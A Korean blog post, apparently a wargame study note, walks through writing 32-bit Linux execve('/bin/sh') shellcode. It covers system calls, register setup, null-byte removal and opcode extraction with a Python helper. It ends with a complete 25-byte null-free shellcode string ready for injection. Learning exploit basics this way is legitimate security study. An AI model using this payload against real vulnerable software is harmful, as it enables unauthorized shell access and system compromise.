계기
지금까지 ftz, lob 등 shellcode가 필요한 wargame을 풀 때면 구글링을(ex : 32bit shellcode 검색) 통해 얻은 shellcode로 풀이를 진행했었다.
그런 식으로 풀이를 하다가 갑자기 오늘 이런 생각이 들었다.
"굳이 인터넷에서 남이 만든 쉘 코드를 가져올 필요 없이 내가 직접 원하는 기능을 하는 쉘 코드를 만들면 되지 않을까?"
쉘 코드를 만든다면 어셈블리어에 대한 이해도가 높아질 것이며, 또한 구글링을 통해 얻는 쉘 코드는 기능적 제약 사항이 있으므로 공부 삼아 직접 만들어보기로 했다.
System Call
쉘 코드를 만들기 전 알아야하는 지식으로 system call이 있다.
srop 공격을 공부해봤다면 쉽게 알 수 있는 내용인데, 이 system call이란 위키백과 정의로는 운영체제가 제공하는 서비스에 대해 응용 프로그램의 요청에 따라 커널에 접근하기 위한 인터페이스라 나와 있지만, 쉽게 32bit 어셈 관점에서 얘기해보자면 int 0x80 명령어가 실행되기 전 eax 레지스터에 들어있는 값(system call 번호)에 따라 운영체제가 번호에 따른 기능을 수행해 주는 것이다.
예를 들어 우리가 흔히 해킹 공부할 때 보게 되는 system 함수는 내부에서 execve라는 운영체제의 system call를 호출함으로써 구현되는데, 이를 어셈에서 구현한다면 간단하게 execve라는 system call을 사용하면 된다.
system 함수를 그냥 call하면 되지 않겠냐는 의문이 들 수도 있는데, 흔히 c언어로 작성한 코드를 어셈에서 보면 나오는 것처럼 call system을 쓸려면 system 함수가 정의돼 있는 libc와 연결돼 있어야 한다.(결국 call system은 libc 내의 system 함수의 주소를 호출해주는 것이다.)
일반적인 어셈 코딩에서는 상관 없을 수도 있겠지만 쉘 코드의 경우는 쉘 코드 자체에서 연결 없이 쉘을 얻도록 해야 하므로 system call을 사용하는 것이다. system이나 execve 함수를 syscall을 이용해서 구현한다면 execve(syscall number : 11)을 사용한다면 구현할 수 있다.
ex)
(레지스터 세팅..)
mov eax, 0xb
int 0x80
-> execve 실행!
이 뿐만 아니라 read, write, printf 함수도 결국은 system call인 read, write를 사용해 기능이 구현되므로 이런 함수 또한 system call을 사용한다면 어셈을 통해 구현할 수 있다.
system call 번호들은 아래 링크를 참고하면 된다.
https://rninche01.tistory.com/entry/Linux-system-call-table-%EC%A0%95%EB%A6%ACx86-x64
각 system call들은 인자를 가지게 되는데, 그 인자들은 레지스터를 통해서 세팅해줘야한다.
-32bit 기준-
EAX : system call 번호
EBX : system call에서 첫 번째 인자 값
ECX : system call에서 두 번째 인자 값
EDX : system call에서 세 번째 인자 값
이 외로도 esi, edi를 통해 인자를 세팅할 수 있고, 더 많을 경우에는 인자가 들어있는 메모리 주소를 인자로 넘긴다고 한다.
Shellcode
system call을 이용해서 간단하게 /bin/sh 쉘을 얻게 해 주는 쉘 코드를 제작해볼 것이다.
일단 작성할 쉘 코드의 기능을 execve 함수를 사용해 c언어로 작성해보면 다음과 같다.
#include <stdio.h>
int main()
{
char* binsh[] = {"/bin/sh", 0};
execve(binsh[0], &binsh, 0);
}
빌드 후 실행해보면 성공적으로 sh 쉘을 얻는 것을 확인할 수 있다.
위 c 코드를 기준 삼아 어셈블리어로 코드를 작성해봤다.
(어셈블리로 코드를 작성하는 이유는 c언어로 코드를 작성한 뒤 어셈블리 코드를 확인할 경우 컴파일러가 만들어낸 stub 코드들이 존재하기 때문에 코드 길이도 길어지고 null byte 제거, 코드 압축 등의 번거로운 과정을 거쳐하기 때문이다.)
.global main
main:
push $0x0
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push $0x0
push %ebx
mov %esp, %ecx
mov $0x0, %edx
mov $0xb, %eax
int $0x80
익숙한 intel 문법이 아닌 AT&T 문법으로 작성했는데, 그 이유는 intel 문법으로 작성한 어셈 파일을 빌드하려고 하면 gcc가 온 힘을 다해 오류를 출력하며 거절하기 때문이다.
AT&T 문법도 결국 intel 문법이랑 비슷하다. 레지스터 앞에는 %가, 정수에는 $가 붙는다는 차이가 있고, mov, sub, add 등은 더해지는 혹은 옮겨지는 값이 앞에 오고 타겟 레지스터는 뒤에 온다는 점만 차이가 있다.
.global main
main:
이 코드는 c언어의 int main과 같은 기능을 한다고 생각하면 된다.
push $0x0
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
이 코드는 "/bin/sh\x00"를 스택에 넣은 후, esp 스택 레지스터를 통해 "/bin/sh\x00"의 스택(메모리) 주소를 첫 번째 인자 값이 들어가는 ebx 레지스터에 넣어준 것이다.
(0x0은 NULL과 같다.
0x68732f2f은 //sh의 16진수 아스키코드(little endian)인데 /를 한 번 더 써준 이유는 스택은 4바이트로 정렬되기 때문에 3byte인 /sh를 /를 더 써줌으로써 4byte로 바꿔준 것이다.
0x6e69622f은 /bin의 16진수 아스키코드(little endian)다.)
push $0x0
push %ebx
mov %esp, %ecx
이 코드는 {"/bin/sh\x00", 0}의 스택(메모리) 주소를 두 번째 인자 값이 들어가는 ecx 레지스터에 넣어준 것이다.
0을 push하고 ebx("/bin/sh\x00"의 주소가 들어가 있음)을 push 함으로써 (/bin/sh\x00의 메모리 주소 + 0)의 메모리 주소가 ecx에 들어가는 것이다.
mov $0x0, %edx
세 번째 인자인 null 값을 세 번째 인자가 들어가는 edx 레지스터에 세팅해준 것이다.
mov $0xb, %eax
int $0x80
system call 값이 들어가는 eax 레지스터에 execve의 system call 번호인 11(0xb)을 넣고 int $0x80 명령어로 system call execve를 실행시키는 코드다.
※ 굳이 스택에 넣다 빼지 않고 mov로 각 레지스터에 인자 값을 넣으면 되지 않냐고 생각할 수도 있는데(내가 그랬다), 스택에 넣은 후 esp 레지스터를 이용해 메모리 주소를 인자로 준 이유는 execve의 인자들이 포인터기 때문이다. 따라서 값을 그냥 넣어주면 안 되고 주소를 인자로 줘야 한다.
작성한 어셈 코드를 빌드하고 실행하면 성공적으로 쉘을 얻는 것을 볼 수 있다.
제대로 작동하는 것을 확인했으니 objdump를 통해 각 명령어의 opcode를 추출하고 쓰기 편하도록 \x와 함께 연결해준다면 쉘 코드가 완성된다.
objdump -d 명령어로 빌드한 프로그램을 열어 main 부분을 찾으면 작성한 어셈 명령어들의 opcode를 얻을 수 있는데, 문제가 생겼다. 작성한 쉘 코드에 null(0x00)이 포함돼 있다는 것이다. 쉘 코드는 대부분 입력을 통해 삽입하게 되는데, 문제는 c언어에서 null(\x00) 값은 입력의 끝으로 인식해버려 0x00이 입력으로 들어오면, 그 즉시 입력을 종료하기 때문이다.
즉 저 opcode를 이어서 쉘 코드를 완성하고 입력으로 넣어본다면, 맨 첫 opcode 6a 00 뒤의 opcode들은 프로그램에서 입력으로 인식되지 않는다.
따라서 \x00 opcode가 제거해서 쉘 코드를 만들어야 한다.
0x00이 opcode에 포함된 원인은 간단하다. push 0x00 명령어의 경우 0x00 값을 스택에 넣기 때문에 당연히 opcode에 0x00가 포함된 것이다.
나머지 명령어도 마찬가지다. 이를 해결하기 위해서는 0x00 값을 명령어에 포함하면 안 된다. xor 명령어로 레지스터의 값을 0x00로 바꾼 뒤 그 값을 push 하면 된다.
또한 마지막에 system call을 위해 eax에 0xb 값을 넣어주는 부분이 있는데, eax는 4byte의 값을 저장할 수 있기 때문에 0xb는 자동으로 \x0b\x00\x00\x00로 변환돼서 opcode에 들어간다. 이 경우에는 eax의 하위 레지스터인 al을 대신 사용한다면 해결할 수 있다.
.global main
main:
xor %eax, %eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
mov %esp, %edx
push %ebx
mov %esp, %ecx
mov $0xb, %al
int $0x80
위는 공격 신뢰도가 높은 쉘 코드를 만들기 위해서 0x00가 opcode에 포함되지 않도록 작성한 어셈 코드다.
push $0x0 대신 xor 명령어로 eax 레지스터를 0x00으로 초기화시킨 뒤 스택에 push하여 0x00을 없앴다.
또한 mov $0xb, %eax 대신 mov $0xb, %al을 사용했다.
마찬가지로 빌드해보면 잘 작동한다.
objdump로 열어보면 opcode에 0x00이 포함되지 않은 것을 알 수 있다. 이제 이 opcode들을 \x와 함께 연결한다면 shellcode가 완성된다.
def make_shell(opcode): # 공백을 기준으로 자른 후 \x를 각 값 앞에 붙여줘서 return
li = opcode.split(' ')
ret_value = ""
for i in li:
ret_value += '\\x'+i
return ret_value
shellcode = ''
shellcode += make_shell('31 c0 50')
shellcode += make_shell('68 2f 2f 73 68')
shellcode += make_shell('68 2f 62 69 6e')
shellcode += make_shell('89 e3 50 89 e2 53 89 e1 b0 0b cd 80')
print(shellcode)
print(shellcode.count('\\x')) # shellcode size 출력
수작업도 가능하겠으나 귀찮았기 때문에 opcode들만 복사해 \x를 자동으로 붙여주도록 파이썬 코드를 작성했다.
쉘 코드가 완성됐다!
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
// 25byte
'Old (2021.01 ~ 2021.12) > Pwnable' 카테고리의 다른 글
Return Address Overwrite (0) | 2021.07.11 |
---|---|
Buffer Overflow (0) | 2021.07.04 |
우리 집에 GDB 있는데 메모리 보고 갈래? (3) (0) | 2021.03.13 |
우리 집에 GDB 있는데 메모리 보고 갈래? (2) (0) | 2021.03.13 |
우리 집에 GDB 있는데 메모리 보고 갈래? (1) (0) | 2021.03.10 |